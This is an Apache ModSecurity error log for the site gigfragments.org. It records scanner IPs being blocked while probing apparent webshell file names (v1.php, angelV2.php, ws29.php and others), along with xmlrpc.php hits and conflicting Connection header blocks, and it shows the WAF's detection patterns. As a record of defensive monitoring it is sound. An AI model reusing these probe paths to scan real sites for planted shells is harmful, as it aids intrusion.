[Sat Jan 03 03:30:27.289904 2026] [:error] [pid 1931:tid 2043] [client 20.39.206.242:14540] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aVgc0x8Tyw7ZoIdXlcba-gAAAJM"]
[Sat Jan 03 03:30:27.685905 2026] [:error] [pid 2083:tid 2087] [client 20.39.206.242:14530] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aVgc0zVlR_BmlMPnhV6c3gAAAMI"]
[Sat Jan 03 03:30:28.013303 2026] [:error] [pid 2083:tid 2088] [client 20.39.206.242:14600] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aVgc1DVlR_BmlMPnhV6c3wAAAMM"]
[Sat Jan 03 03:30:28.312530 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:14550] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aVgc1DVlR_BmlMPnhV6c4QAAAMo"]
[Sat Jan 03 03:30:28.648078 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:15261] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aVgc1B8Tyw7ZoIdXlcba_AAAAIw"]
[Sat Jan 03 03:30:28.946612 2026] [:error] [pid 1931:tid 2034] [client 20.39.206.242:14596] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aVgc1B8Tyw7ZoIdXlcba_QAAAIo"]
[Sat Jan 03 03:30:29.222143 2026] [:error] [pid 1930:tid 1971] [client 20.39.206.242:22252] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aVgc1ZP-6mqhfUDa89y6igAAAEU"]
[Sat Jan 03 03:30:29.508413 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:14619] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aVgc1TVlR_BmlMPnhV6c4wAAAMY"]
[Sat Jan 03 03:30:29.838671 2026] [:error] [pid 1931:tid 2027] [client 20.39.206.242:14645] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aVgc1R8Tyw7ZoIdXlcba_wAAAIQ"]
[Sat Jan 03 03:30:30.137937 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14570] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aVgc1pP-6mqhfUDa89y6jAAAAFM"]
[Sat Jan 03 03:30:30.438967 2026] [:error] [pid 1929:tid 1938] [client 20.39.206.242:15234] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aVgc1ucFqdpu6TNsuWqyFwAAAAA"]
[Sat Jan 03 03:30:30.741974 2026] [:error] [pid 2083:tid 2101] [client 20.39.206.242:14543] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aVgc1jVlR_BmlMPnhV6c5QAAANA"]
[Sat Jan 03 03:30:31.029412 2026] [:error] [pid 1931:tid 2029] [client 20.39.206.242:14553] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aVgc1x8Tyw7ZoIdXlcbbAAAAAIU"]
[Sat Jan 03 03:30:31.343160 2026] [:error] [pid 1929:tid 1939] [client 20.39.206.242:14575] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aVgc1-cFqdpu6TNsuWqyGAAAAAE"]
[Sat Jan 03 05:00:45.561812 2026] [:error] [pid 2083:tid 2089] [client 195.250.27.205:52768] [client 195.250.27.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.27.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVgx_TVlR_BmlMPnhV6_awAAAMQ"]
[Sat Jan 03 05:34:15.591508 2026] [:error] [pid 1930:tid 1974] [client 185.104.44.90:5684] [client 185.104.44.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.104.44.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVg515P-6mqhfUDa89zk9AAAAEg"]
[Sat Jan 03 08:24:51.893320 2026] [:error] [pid 31630:tid 31643] [client 194.62.54.39:55330] [client 194.62.54.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.62.54.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVhh0_UV_PU2SWgLPuifcgAAAYs"]
[Sat Jan 03 10:03:52.203814 2026] [:error] [pid 1929:tid 1954] [client 194.62.54.39:60708] [client 194.62.54.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.62.54.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVh5COcFqdpu6TNsuWpBHgAAABA"]
[Sat Jan 03 10:51:40.461507 2026] [:error] [pid 2083:tid 2099] [client 178.33.40.189:34998] [client 178.33.40.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.40.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aViEPDVlR_BmlMPnhV5hPQAAAM4"]
[Sat Jan 03 11:15:07.544083 2026] [:error] [pid 31630:tid 31636] [client 195.201.163.235:35574] [client 195.201.163.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.201.163.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aViJu_UV_PU2SWgLPujMYAAAAYQ"]
[Sat Jan 03 11:22:03.925772 2026] [:error] [pid 31630:tid 31649] [client 43.157.142.101:54838] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aViLW_UV_PU2SWgLPujNPAAAAZE"]
[Sat Jan 03 11:42:22.772175 2026] [:error] [pid 31630:tid 31637] [client 178.33.49.166:59330] [client 178.33.49.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.49.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aViQHvUV_PU2SWgLPujRAgAAAYU"]
[Sat Jan 03 13:24:57.349483 2026] [:error] [pid 34260:tid 34275] [client 184.72.128.232:34170] [client 184.72.128.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.72.128.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVioKUWWhyvZ0O9KNVRsGAAAAQ0"]
[Sat Jan 03 14:15:18.972227 2026] [:error] [pid 31630:tid 31650] [client 82.223.128.142:53404] [client 82.223.128.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.128.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aViz9vUV_PU2SWgLPuj04wAAAZI"]
[Sat Jan 03 15:06:00.432826 2026] [:error] [pid 2083:tid 2087] [client 104.37.174.183:52180] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVi_2DVlR_BmlMPnhV6oXQAAAMI"]
[Sat Jan 03 17:08:20.513935 2026] [:error] [pid 1929:tid 1938] [client 182.42.111.156:33464] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVjchOcFqdpu6TNsuWqnNgAAAAA"]
[Sat Jan 03 17:47:15.007317 2026] [:error] [pid 34260:tid 34268] [client 194.182.184.76:52268] [client 194.182.184.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.184.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVjlo0WWhyvZ0O9KNVTOlgAAAQY"]
[Sat Jan 03 18:23:09.029086 2026] [:error] [pid 34260:tid 34270] [client 103.20.97.76:65114] [client 103.20.97.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.97.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVjuDUWWhyvZ0O9KNVTbvgAAAQg"]
[Sat Jan 03 18:40:10.003686 2026] [:error] [pid 1929:tid 1938] [client 82.165.19.236:52962] [client 82.165.19.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.19.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVjyCucFqdpu6TNsuWq-QQAAAAA"]
[Sat Jan 03 18:58:47.027010 2026] [:error] [pid 34260:tid 34278] [client 43.130.16.212:33174] [client 43.130.16.212] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVj2Z0WWhyvZ0O9KNVTqNAAAARA"]
[Sat Jan 03 19:34:12.287769 2026] [:error] [pid 34260:tid 34269] [client 15.235.163.7:59878] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVj-tEWWhyvZ0O9KNVT6QwAAAQc"]
[Sat Jan 03 20:24:46.114215 2026] [:error] [pid 34260:tid 34283] [client 194.62.54.39:33974] [client 194.62.54.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.62.54.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVkKjkWWhyvZ0O9KNVQOTAAAARU"]
[Sat Jan 03 20:38:57.324938 2026] [:error] [pid 31222:tid 31226] [client 43.157.52.37:38354] [client 43.157.52.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVkN4aHw6nASHXAc2v_PVgAAAcI"]
[Sat Jan 03 20:40:49.565956 2026] [:error] [pid 1931:tid 2041] [client 81.88.49.44:45884] [client 81.88.49.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.49.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVkOUR8Tyw7ZoIdXlcbwQAAAAJE"]
[Sat Jan 03 22:33:46.451119 2026] [:error] [pid 1931:tid 2029] [client 4.197.161.255:19913] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aVkoyh8Tyw7ZoIdXlcYVjgAAAIU"]
[Sat Jan 03 22:33:48.507188 2026] [:error] [pid 19639:tid 19647] [client 4.197.161.255:19937] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aVkozCQ7fWZUytnlHEwKIwAAAUY"]
[Sat Jan 03 22:33:50.211084 2026] [:error] [pid 2083:tid 2108] [client 4.197.161.255:19956] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aVkozjVlR_BmlMPnhV4nEgAAANc"]
[Sat Jan 03 22:33:51.727375 2026] [:error] [pid 1931:tid 1994] [client 4.197.161.255:19860] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws29.php"] [unique_id "aVkozx8Tyw7ZoIdXlcYVkQAAAIE"]
[Sat Jan 03 22:33:52.587852 2026] [:error] [pid 1930:tid 1978] [client 4.197.161.255:19851] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVko0JP-6mqhfUDa89zySgAAAEw"]
[Sat Jan 03 22:33:53.697017 2026] [:error] [pid 2083:tid 2086] [client 4.197.161.255:19946] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVko0TVlR_BmlMPnhV4nEwAAAME"]
[Sat Jan 03 22:33:55.896156 2026] [:error] [pid 1929:tid 1956] [client 4.197.161.255:19908] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVko0-cFqdpu6TNsuWr9PgAAABI"]
[Sat Jan 03 22:33:57.213282 2026] [:error] [pid 1931:tid 2027] [client 4.197.161.255:19853] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVko1R8Tyw7ZoIdXlcYVlQAAAIQ"]
[Sat Jan 03 22:33:59.195245 2026] [:error] [pid 19639:tid 19653] [client 4.197.161.255:19848] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aVko1yQ7fWZUytnlHEwKJwAAAUw"]
[Sat Jan 03 22:34:01.280214 2026] [:error] [pid 1929:tid 1946] [client 4.197.161.255:19855] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aVko2ecFqdpu6TNsuWr9QgAAAAg"]
[Sat Jan 03 22:34:02.771528 2026] [:error] [pid 1930:tid 1969] [client 4.197.161.255:19938] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aVko2pP-6mqhfUDa89zyTQAAAEM"]
[Sat Jan 03 22:34:04.702975 2026] [:error] [pid 34260:tid 34270] [client 4.197.161.255:19844] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aVko3EWWhyvZ0O9KNVQyQQAAAQg"]
[Sat Jan 03 22:34:05.750902 2026] [:error] [pid 2083:tid 2109] [client 4.197.161.255:19845] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aVko3TVlR_BmlMPnhV4nFgAAANg"]
[Sat Jan 03 22:34:07.194991 2026] [:error] [pid 1929:tid 1951] [client 4.197.161.255:19841] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aVko3-cFqdpu6TNsuWr9SAAAAA0"]
[Sat Jan 03 22:34:07.893283 2026] [:error] [pid 1929:tid 1952] [client 4.197.161.255:19940] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aVko3-cFqdpu6TNsuWr9SgAAAA4"]
[Sat Jan 03 22:34:09.065237 2026] [:error] [pid 19639:tid 19650] [client 4.197.161.255:19861] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aVko4SQ7fWZUytnlHEwKKwAAAUk"]
[Sat Jan 03 22:34:10.083156 2026] [:error] [pid 1929:tid 1956] [client 4.197.161.255:19948] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aVko4ucFqdpu6TNsuWr9SwAAABI"]
[Sat Jan 03 22:34:10.823122 2026] [:error] [pid 1930:tid 1981] [client 4.197.161.255:19954] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aVko4pP-6mqhfUDa89zyTwAAAE8"]
[Sat Jan 03 22:34:12.119221 2026] [:error] [pid 1929:tid 1949] [client 4.197.161.255:19887] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aVko5OcFqdpu6TNsuWr9TAAAAAs"]
[Sat Jan 03 22:34:13.572696 2026] [:error] [pid 1931:tid 1996] [client 4.197.161.255:19932] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aVko5R8Tyw7ZoIdXlcYVmQAAAII"]
[Sat Jan 03 22:34:14.842441 2026] [:error] [pid 1931:tid 2033] [client 4.197.161.255:19910] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aVko5h8Tyw7ZoIdXlcYVmwAAAIk"]
